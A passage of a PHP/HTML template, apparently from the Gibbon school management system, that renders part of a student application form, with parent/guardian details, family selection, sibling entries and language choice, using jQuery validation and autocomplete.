<b><?php print _('Home Address') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Unit, Building, Street') ?></i></span>
</td>
<td class="right">
<input name="homeAddress" id="homeAddress" maxlength=255 value="" type="text" style="width: 300px">
<script type="text/javascript">
var homeAddress=new LiveValidation('homeAddress');
homeAddress.add(Validate.Presence);
</script>
</td>
</tr>
<tr>
<td>
<b><?php print _('Home Address (District)') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('County, State, District') ?></i></span>
</td>
<td class="right">
<input name="homeAddressDistrict" id="homeAddressDistrict" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT name FROM gibbonDistrict ORDER BY name" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["name"] . "\", " ;
}
?>
];
$( "#homeAddressDistrict" ).autocomplete({source: availableTags});
});
</script>
<script type="text/javascript">
var homeAddressDistrict=new LiveValidation('homeAddressDistrict');
homeAddressDistrict.add(Validate.Presence);
</script>
</tr>
<tr>
<td>
<b><?php print _('Home Address (Country)') ?> *</b><br/>
</td>
<td class="right">
<select name="homeAddressCountry" id="homeAddressCountry" style="width: 302px">
<?php
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
<script type="text/javascript">
var homeAddressCountry=new LiveValidation('homeAddressCountry');
homeAddressCountry.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<?php
if (isset($_SESSION[$guid]["username"])) {
$start=2 ;
?>
<tr class='break'>
<td colspan=2>
<h3>
<?php print _('Parent/Guardian 1') ?>
<?php
if ($i==1) {
print "<span style='font-size: 75%'></span>" ;
}
?>
</h3>
</td>
</tr>
<tr>
<td>
<b><?php print _('Username') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('System login ID.') ?></i></span>
</td>
<td class="right">
<input readonly name='parent1username' maxlength=30 value="<?php print $_SESSION[$guid]["username"] ?>" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Surname') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Family name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input readonly name='parent1surname' maxlength=30 value="<?php print $_SESSION[$guid]["surname"] ?>" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Preferred Name') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Most common name, alias, nickname, etc.') ?></i></span>
</td>
<td class="right">
<input readonly name='parent1preferredName' maxlength=30 value="<?php print $_SESSION[$guid]["preferredName"] ?>" type="text" style="width: 300px">
</td>
</tr>
<tr>
<td>
<b><?php print _('Relationship') ?> *</b><br/>
</td>
<td class="right">
<select name="parent1relationship" id="parent1relationship" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="Mother"><?php print _('Mother') ?></option>
<option value="Father"><?php print _('Father') ?></option>
<option value="Step-Mother"><?php print _('Step-Mother') ?></option>
<option value="Step-Father"><?php print _('Step-Father') ?></option>
<option value="Adoptive Parent"><?php print _('Adoptive Parent') ?></option>
<option value="Guardian"><?php print _('Guardian') ?></option>
<option value="Grandmother"><?php print _('Grandmother') ?></option>
<option value="Grandfather"><?php print _('Grandfather') ?></option>
<option value="Aunt"><?php print _('Aunt') ?></option>
<option value="Uncle"><?php print _('Uncle') ?></option>
<option value="Nanny/Helper"><?php print _('Nanny/Helper') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
<script type="text/javascript">
var parent1relationship=new LiveValidation('parent1relationship');
parent1relationship.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<input name='parent1gibbonPersonID' value="<?php print $gibbonPersonID ?>" type="hidden">
<?php
}
else {
$start=1 ;
}
for ($i=$start;$i<3;$i++) {
?>
<tr class='break'>
<td colspan=2>
<h3>
<?php print _('Parent/Guardian') ?> <?php print $i ?>
<?php
if ($i==1) {
print "<span style='font-size: 75%'> (e.g. mother)</span>" ;
}
else if ($i==2 AND $gibbonPersonID=="") {
print "<span style='font-size: 75%'> (e.g. father)</span>" ;
}
?>
</h3>
</td>
</tr>
<?php
if ($i==2) {
?>
<tr>
<td class='right' colspan=2>
<script type="text/javascript">
/* Advanced Options Control */
$(document).ready(function(){
$("#secondParent").click(function(){
if ($('input[name=secondParent]:checked').val()=="No" ) {
$(".secondParent").slideUp("fast");
$("#parent2title").attr("disabled", "disabled");
$("#parent2surname").attr("disabled", "disabled");
$("#parent2firstName").attr("disabled", "disabled");
$("#parent2preferredName").attr("disabled", "disabled");
$("#parent2officialName").attr("disabled", "disabled");
$("#parent2nameInCharacters").attr("disabled", "disabled");
$("#parent2gender").attr("disabled", "disabled");
$("#parent2relationship").attr("disabled", "disabled");
$("#parent2languageFirst").attr("disabled", "disabled");
$("#parent2languageSecond").attr("disabled", "disabled");
$("#parent2citizenship1").attr("disabled", "disabled");
$("#parent2nationalIDCardNumber").attr("disabled", "disabled");
$("#parent2residencyStatus").attr("disabled", "disabled");
$("#parent2visaExpiryDate").attr("disabled", "disabled");
$("#parent2email").attr("disabled", "disabled");
$("#parent2phone1Type").attr("disabled", "disabled");
$("#parent2phone1CountryCode").attr("disabled", "disabled");
$("#parent2phone1").attr("disabled", "disabled");
$("#parent2phone2Type").attr("disabled", "disabled");
$("#parent2phone2CountryCode").attr("disabled", "disabled");
$("#parent2phone2").attr("disabled", "disabled");
$("#parent2profession").attr("disabled", "disabled");
$("#parent2employer").attr("disabled", "disabled");
}
else {
$(".secondParent").slideDown("fast", $(".secondParent").css("display","table-row"));
$("#parent2title").removeAttr("disabled");
$("#parent2surname").removeAttr("disabled");
$("#parent2firstName").removeAttr("disabled");
$("#parent2preferredName").removeAttr("disabled");
$("#parent2officialName").removeAttr("disabled");
$("#parent2nameInCharacters").removeAttr("disabled");
$("#parent2gender").removeAttr("disabled");
$("#parent2relationship").removeAttr("disabled");
$("#parent2languageFirst").removeAttr("disabled");
$("#parent2languageSecond").removeAttr("disabled");
$("#parent2citizenship1").removeAttr("disabled");
$("#parent2nationalIDCardNumber").removeAttr("disabled");
$("#parent2residencyStatus").removeAttr("disabled");
$("#parent2visaExpiryDate").removeAttr("disabled");
$("#parent2email").removeAttr("disabled");
$("#parent2phone1Type").removeAttr("disabled");
$("#parent2phone1CountryCode").removeAttr("disabled");
$("#parent2phone1").removeAttr("disabled");
$("#parent2phone2Type").removeAttr("disabled");
$("#parent2phone2CountryCode").removeAttr("disabled");
$("#parent2phone2").removeAttr("disabled");
$("#parent2profession").removeAttr("disabled");
$("#parent2employer").removeAttr("disabled");
}
});
});
</script>
<span style='font-weight: bold; font-style: italic'>Do not include a second parent/gaurdian <input id='secondParent' name='secondParent' type='checkbox' value='No'/></span>
</td>
</tr>
<?php
}
?>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Personal Data') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Title') ?> *</b><br/>
<span style="font-size: 90%"><i></i></span>
</td>
<td class="right">
<select style="width: 302px" id="<?php print "parent$i" ?>title" name="<?php print "parent$i" ?>title">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="Ms.">Ms.</option>
<option value="Miss">Miss</option>
<option value="Mr.">Mr.</option>
<option value="Mrs.">Mrs.</option>
<option value="Dr.">Dr.</option>
</select>
<script type="text/javascript">
var <?php print "parent$i" ?>title=new LiveValidation('<?php print "parent$i" ?>title');
<?php print "parent$i" ?>title.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Surname') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Family name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>surname" id="<?php print "parent$i" ?>surname" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>surname=new LiveValidation('<?php print "parent$i" ?>surname');
<?php print "parent$i" ?>surname.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('First Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('First name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>firstName" id="<?php print "parent$i" ?>firstName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>firstName=new LiveValidation('<?php print "parent$i" ?>firstName');
<?php print "parent$i" ?>firstName.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Preferred Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Most common name, alias, nickname, etc.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>preferredName" id="<?php print "parent$i" ?>preferredName" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>preferredName=new LiveValidation('<?php print "parent$i" ?>preferredName');
<?php print "parent$i" ?>preferredName.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Official Name') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Full name as shown in ID documents.') ?></i></span>
</td>
<td class="right">
<input title='Please enter full name as shown in ID documents' name="<?php print "parent$i" ?>officialName" id="<?php print "parent$i" ?>officialName" maxlength=150 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>officialName=new LiveValidation('<?php print "parent$i" ?>officialName');
<?php print "parent$i" ?>officialName.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Name In Characters') ?></b><br/>
<span style="font-size: 90%"><i><?php print _('Chinese or other character-based name.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>nameInCharacters" id="<?php print "parent$i" ?>nameInCharacters" maxlength=20 value="" type="text" style="width: 300px">
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Gender') ?> *</b><br/>
</td>
<td class="right">
<select name="<?php print "parent$i" ?>gender" id="<?php print "parent$i" ?>gender" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="F"><?php print _('Female') ?></option>
<option value="M"><?php print _('Male') ?></option>
</select>
<script type="text/javascript">
var <?php print "parent$i" ?>gender=new LiveValidation('<?php print "parent$i" ?>gender');
<?php print "parent$i" ?>gender.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Relationship') ?> *</b><br/>
</td>
<td class="right">
<select name="<?php print "parent$i" ?>relationship" id="<?php print "parent$i" ?>relationship" style="width: 302px">
<option value="Please select..."><?php print _('Please select...') ?></option>
<option value="Mother"><?php print _('Mother') ?></option>
<option value="Father"><?php print _('Father') ?></option>
<option value="Step-Mother"><?php print _('Step-Mother') ?></option>
<option value="Step-Father"><?php print _('Step-Father') ?></option>
<option value="Adoptive Parent"><?php print _('Adoptive Parent') ?></option>
<option value="Guardian"><?php print _('Guardian') ?></option>
<option value="Grandmother"><?php print _('Grandmother') ?></option>
<option value="Grandfather"><?php print _('Grandfather') ?></option>
<option value="Aunt"><?php print _('Aunt') ?></option>
<option value="Uncle"><?php print _('Uncle') ?></option>
<option value="Nanny/Helper"><?php print _('Nanny/Helper') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
<script type="text/javascript">
var <?php print "parent$i" ?>relationship=new LiveValidation('<?php print "parent$i" ?>relationship');
<?php print "parent$i" ?>relationship.add(Validate.Exclusion, { within: ['Please select...'], failureMessage: "<?php print _('Select something!') ?>"});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Personal Background') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('First Language') ?></b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>languageFirst" id="<?php print "parent$i" ?>languageFirst" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageFirst FROM gibbonApplicationForm ORDER BY languageFirst" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageFirst"] . "\", " ;
}
?>
];
$( "#<?php print 'parent' . $i ?>languageFirst" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Second Language') ?></b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>languageSecond" id="<?php print "parent$i" ?>languageSecond" maxlength=30 value="" type="text" style="width: 300px">
</td>
<script type="text/javascript">
$(function() {
var availableTags=[
<?php
try {
$dataAuto=array();
$sqlAuto="SELECT DISTINCT languageSecond FROM gibbonApplicationForm ORDER BY languageSecond" ;
$resultAuto=$connection2->prepare($sqlAuto);
$resultAuto->execute($dataAuto);
}
catch(PDOException $e) { }
while ($rowAuto=$resultAuto->fetch()) {
print "\"" . $rowAuto["languageSecond"] . "\", " ;
}
?>
];
$( "#<?php print 'parent' . $i ?>languageSecond" ).autocomplete({source: availableTags});
});
</script>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Citizenship') ?></b><br/>
</td>
<td class="right">
<select name="<?php print "parent$i" ?>citizenship1" id="<?php print "parent$i" ?>citizenship1" style="width: 302px">
<?php
print "<option value=''></option>" ;
$nationalityList=getSettingByScope($connection2, "User Admin", "nationality") ;
if ($nationalityList=="") {
try {
$dataSelect=array();
$sqlSelect="SELECT printable_name FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["printable_name"] . "'>" . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
}
else {
$nationalities=explode(",", $nationalityList) ;
foreach ($nationalities as $nationality) {
print "<option value='" . trim($nationality) . "'>" . trim($nationality) . "</option>" ;
}
}
?>
</select>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('National ID Card Number') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('ID Card Number') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>nationalIDCardNumber" id="<?php print "parent$i" ?>nationalIDCardNumber" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Residency/Visa Type') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Residency/Visa Type') . "</b><br/>" ;
}
?>
</td>
<td class="right">
<?php
$residencyStatusList=getSettingByScope($connection2, "User Admin", "residencyStatus") ;
if ($residencyStatusList=="") {
print "<input name='parent" . $i . "residencyStatus' id='parent" . $i . "residencyStatus' maxlength=30 type='text' style='width: 300px'>" ;
}
else {
print "<select name='parent" . $i . "residencyStatus' id='parent" . $i . "residencyStatus' style='width: 302px'>" ;
print "<option value=''></option>" ;
$residencyStatuses=explode(",", $residencyStatusList) ;
foreach ($residencyStatuses as $residencyStatus) {
$selected="" ;
if (trim($residencyStatus)==$row["parent" . $i . "residencyStatus"]) {
$selected="selected" ;
}
print "<option $selected value='" . trim($residencyStatus) . "'>" . trim($residencyStatus) . "</option>" ;
}
print "</select>" ;
}
?>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<?php
if ($_SESSION[$guid]["country"]=="") {
print "<b>" . _('Visa Expiry Date') . "</b><br/>" ;
}
else {
print "<b>" . $_SESSION[$guid]["country"] . " " . _('Visa Expiry Date') . "</b><br/>" ;
}
print "<span style='font-size: 90%'><i>" . _('Format:') . " " ; if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; } print ". " . _('If relevant.') . "</i></span>" ;
?>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>visaExpiryDate" id="<?php print "parent$i" ?>visaExpiryDate" maxlength=10 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>visaExpiryDate=new LiveValidation('<?php print "parent$i" ?>visaExpiryDate');
<?php print "parent$i" ?>visaExpiryDate.add( Validate.Format, {pattern: <?php if ($_SESSION[$guid]["i18n"]["dateFormatRegEx"]=="") { print "/^(0[1-9]|[12][0-9]|3[01])[- /.](0[1-9]|1[012])[- /.](19|20)\d\d$/i" ; } else { print $_SESSION[$guid]["i18n"]["dateFormatRegEx"] ; } ?>, failureMessage: "Use <?php if ($_SESSION[$guid]["i18n"]["dateFormat"]=="") { print "dd/mm/yyyy" ; } else { print $_SESSION[$guid]["i18n"]["dateFormat"] ; }?>." } );
</script>
<script type="text/javascript">
$(function() {
$( "#<?php print "parent$i" ?>visaExpiryDate" ).datepicker();
});
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Contact') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Email') ?> *</b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>email" id="<?php print "parent$i" ?>email" maxlength=50 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>email=new LiveValidation('<?php print "parent$i" ?>email');
<?php
print "parent$i" . "email.add(Validate.Email);";
print "parent$i" . "email.add(Validate.Presence);" ;
?>
</script>
</td>
</tr>
<?php
for ($y=1; $y<3; $y++) {
?>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Phone') ?> <?php print $y ; if ($y==1) { print " *" ;}?></b><br/>
<span style="font-size: 90%"><i><?php print _('Type, country code, number.') ?></i></span>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>phone<?php print $y ?>" id="<?php print "parent$i" ?>phone<?php print $y ?>" maxlength=20 value="" type="text" style="width: 160px">
<?php
if ($y==1) {
?>
<script type="text/javascript">
var <?php print "parent$i" ?>phone<?php print $y ?>=new LiveValidation('<?php print "parent$i" ?>phone<?php print $y ?>');
<?php print "parent$i" ?>phone<?php print $y ?>.add(Validate.Presence);
</script>
<?php
}
?>
<select name="<?php print "parent$i" ?>phone<?php print $y ?>CountryCode" id="<?php print "parent$i" ?>phone<?php print $y ?>CountryCode" style="width: 60px">
<?php
print "<option value=''></option>" ;
try {
$dataSelect=array();
$sqlSelect="SELECT * FROM gibbonCountry ORDER BY printable_name" ;
$resultSelect=$connection2->prepare($sqlSelect);
$resultSelect->execute($dataSelect);
}
catch(PDOException $e) { }
while ($rowSelect=$resultSelect->fetch()) {
print "<option value='" . $rowSelect["iddCountryCode"] . "'>" . htmlPrep($rowSelect["iddCountryCode"]) . " - " . htmlPrep(_($rowSelect["printable_name"])) . "</option>" ;
}
?>
</select>
<select style="width: 70px" name="<?php print "parent$i" ?>phone<?php print $y ?>Type">
<option value=""></option>
<option value="Mobile"><?php print _('Mobile') ?></option>
<option value="Home"><?php print _('Home') ?></option>
<option value="Work"><?php print _('Work') ?></option>
<option value="Fax"><?php print _('Fax') ?></option>
<option value="Pager"><?php print _('Pager') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
</td>
</tr>
<?php
}
?>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td colspan=2>
<h4><?php print _('Parent/Guardian') ?> <?php print $i ?> <?php print _('Employment') ?></h4>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Profession') ?> *</b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>profession" id="<?php print "parent$i" ?>profession" maxlength=30 value="" type="text" style="width: 300px">
<script type="text/javascript">
var <?php print "parent$i" ?>profession=new LiveValidation('<?php print "parent$i" ?>profession');
<?php print "parent$i" ?>profession.add(Validate.Presence);
</script>
</td>
</tr>
<tr <?php if ($i==2) { print "class='secondParent'" ; }?>>
<td>
<b><?php print _('Employer') ?></b><br/>
</td>
<td class="right">
<input name="<?php print "parent$i" ?>employer" id="<?php print "parent$i" ?>employer" maxlength=30 value="" type="text" style="width: 300px">
</td>
</tr>
<?php
}
}
else {
?>
<input type="hidden" name="gibbonFamily" value="TRUE">
<tr class='break'>
<td colspan=2>
<h3><?php print _('Family') ?></h3>
<p><?php print _('Choose the family you wish to associate this application with.') ?></p>
<?php
print "<table cellspacing='0' style='width: 100%'>" ;
print "<tr class='head'>" ;
print "<th>" ;
print _("Family Name") ;
print "</th>" ;
print "<th>" ;
print _("Selected") ;
print "</th>" ;
print "<th>" ;
print _("Relationships") ;
print "</th>" ;
print "</tr>" ;
$rowCount=1 ;
while ($rowSelect=$resultSelect->fetch()) {
if (($rowCount%2)==0) {
$rowNum="odd" ;
}
else {
$rowNum="even" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<b>" . $rowSelect["name"] . "</b><br/>" ;
print "</td>" ;
print "<td>" ;
$checked="" ;
if ($rowCount==1) {
$checked="checked" ;
}
print "<input $checked value='" . $rowSelect["gibbonFamilyID"] . "' name='gibbonFamilyID' type='radio'/>" ;
print "</td>" ;
print "<td>" ;
try {
$dataRelationships=array("gibbonFamilyID"=>$rowSelect["gibbonFamilyID"]);
$sqlRelationships="SELECT surname, preferredName, title, gender, gibbonFamilyAdult.gibbonPersonID FROM gibbonFamilyAdult JOIN gibbonPerson ON (gibbonFamilyAdult.gibbonPersonID=gibbonPerson.gibbonPersonID) WHERE gibbonFamilyID=:gibbonFamilyID" ;
$resultRelationships=$connection2->prepare($sqlRelationships);
$resultRelationships->execute($dataRelationships);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowRelationships=$resultRelationships->fetch()) {
print "<div style='width: 100%'>" ;
print formatName($rowRelationships["title"], $rowRelationships["preferredName"], $rowRelationships["surname"], "Parent") ;
?>
<select name="<?php print $rowSelect["gibbonFamilyID"] ?>-relationships[]" id="relationships[]" style="width: 200px">
<option <?php if ($rowRelationships["gender"]=="F") { print "selected" ; } ?> value="Mother"><?php print _('Mother') ?></option>
<option <?php if ($rowRelationships["gender"]=="M") { print "selected" ; } ?> value="Father"><?php print _('Father') ?></option>
<option value="Step-Mother"><?php print _('Step-Mother') ?></option>
<option value="Step-Father"><?php print _('Step-Father') ?></option>
<option value="Adoptive Parent"><?php print _('Adoptive Parent') ?></option>
<option value="Guardian"><?php print _('Guardian') ?></option>
<option value="Grandmother"><?php print _('Grandmother') ?></option>
<option value="Grandfather"><?php print _('Grandfather') ?></option>
<option value="Aunt"><?php print _('Aunt') ?></option>
<option value="Uncle"><?php print _('Uncle') ?></option>
<option value="Nanny/Helper"><?php print _('Nanny/Helper') ?></option>
<option value="Other"><?php print _('Other') ?></option>
</select>
<input type="hidden" name="<?php print $rowSelect["gibbonFamilyID"] ?>-relationshipsGibbonPersonID[]" value="<?php print $rowRelationships["gibbonPersonID"] ?>">
<?php
print "</div>" ;
print "<br/>" ;
}
print "</td>" ;
print "</tr>" ;
$rowCount++ ;
}
print "</table>" ;
?>
</td>
</tr>
<?php
}
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Siblings') ?></h3>
</td>
</tr>
<tr>
<td colspan=2 style='padding-top: 0px'>
<p><?php print _('Please give information on the applicants\'s siblings.') ?></p>
</td>
</tr>
<tr>
<td colspan=2>
<?php
print "<table cellspacing='0' style='width: 100%'>" ;
print "<tr class='head'>" ;
print "<th>" ;
print _("Sibling Name") ;
print "</th>" ;
print "<th>" ;
print _("Date of Birth") . "<br/><span style='font-size: 80%'>" . $_SESSION[$guid]["i18n"]["dateFormat"] . "</span>" ;
print "</th>" ;
print "<th>" ;
print _("School Attending") ;
print "</th>" ;
print "<th>" ;
print _("Joining Date") . "<br/><span style='font-size: 80%'>" . $_SESSION[$guid]["i18n"]["dateFormat"] . "</span>" ;
print "</th>" ;
print "</tr>" ;
$rowCount=1 ;
//List siblings who have been to or are at the school
if (isset($gibbonFamilyID)) {
try {
$dataSibling=array("gibbonFamilyID"=>$gibbonFamilyID);
$sqlSibling="SELECT surname, preferredName, dob, dateStart FROM gibbonFamilyChild JOIN gibbonPerson ON (gibbonFamilyChild.gibbonPersonID=gibbonPerson.gibbonPersonID) WHERE gibbonFamilyID=:gibbonFamilyID ORDER BY dob ASC, surname, preferredName" ;
$resultSibling=$connection2->prepare($sqlSibling);
$resultSibling->execute($dataSibling);
}
catch(PDOException $e) {
print "<div class='error'>" . $e->getMessage() . "</div>" ;
}
while ($rowSibling=$resultSibling->fetch()) {
if (($rowCount%2)==0) {
$rowNum="odd" ;
}
else {
$rowNum="even" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<input name='siblingName$rowCount' id='siblingName$rowCount' maxlength=50 value='" . formatName("", $rowSibling["preferredName"], $rowSibling["surname"], "Student") . "' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "siblingDOB$rowCount" ?>" id="<?php print "siblingDOB$rowCount" ?>" maxlength=10 value="<?php print dateConvertBack($guid, $rowSibling["dob"]) ?>" type="text" style="width:90px; float: left"><br/>
<script type="text/javascript">
$(function() {
$( "#<?php print "siblingDOB$rowCount" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "<td>" ;
print "<input name='siblingSchool$rowCount' id='siblingSchool$rowCount' maxlength=50 value='" . $_SESSION[$guid]["organisationName"] . "' type='text' style='width:200px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "siblingSchoolJoiningDate$rowCount" ?>" id="<?php print "siblingSchoolJoiningDate$rowCount" ?>" maxlength=10 value="<?php print dateConvertBack($guid, $rowSibling["dateStart"]) ?>" type="text" style="width:90px; float: left">
<script type="text/javascript">
$(function() {
$( "#<?php print "siblingSchoolJoiningDate$rowCount" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "</tr>" ;
$rowCount++ ;
}
}
//Space for other siblings
for ($i=$rowCount; $i<4; $i++) {
if (($i%2)==0) {
$rowNum="even" ;
}
else {
$rowNum="odd" ;
}
print "<tr class=$rowNum>" ;
print "<td>" ;
print "<input name='siblingName$i' id='siblingName$i' maxlength=50 value='' type='text' style='width:120px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "siblingDOB$i" ?>" id="<?php print "siblingDOB$i" ?>" maxlength=10 value="" type="text" style="width:90px; float: left"><br/>
<script type="text/javascript">
$(function() {
$( "#<?php print "siblingDOB$i" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "<td>" ;
print "<input name='siblingSchool$i' id='siblingSchool$i' maxlength=50 value='' type='text' style='width:200px; float: left'>" ;
print "</td>" ;
print "<td>" ;
?>
<input name="<?php print "siblingSchoolJoiningDate$i" ?>" id="<?php print "siblingSchoolJoiningDate$i" ?>" maxlength=10 value="" type="text" style="width:120px; float: left">
<script type="text/javascript">
$(function() {
$( "#<?php print "siblingSchoolJoiningDate$i" ?>" ).datepicker();
});
</script>
<?php
print "</td>" ;
print "</tr>" ;
}
print "</table>" ;
?>
</td>
</tr>
<?php
$languageOptionsActive=getSettingByScope($connection2, 'Application Form', 'languageOptionsActive') ;
if ($languageOptionsActive=="On") {
?>
<tr class='break'>
<td colspan=2>
<h3><?php print _('Language Selection') ?></h3>
<?php
$languageOptionsBlurb=getSettingByScope($connection2, 'Application Form', 'languageOptionsBlurb') ;
if ($languageOptionsBlurb!="") {
print "<p>" ;
print $languageOptionsBlurb ;
print "</p>" ;
}
?>
</td>
</tr>
<tr>
<td>
<b><?php print _('Language Choice') ?> *</b><br/>
<span style="font-size: 90%"><i><?php print _('Please choose preferred additional language to study.') ?></i></span>
</td>
<td class="right">
<select name="languageChoice" id="languageChoice" style="width: 302px">
<?php
print "<option value='Please select...'>" . _('Please select...') . "</option>" ;
$languageOptionsLanguageList=getSettingByScope($connection2, "Application Form", "languageOptionsLanguageList") ;
$languages=explode(",", $languageOptionsLanguageList) ;
foreach ($languages as $language) {
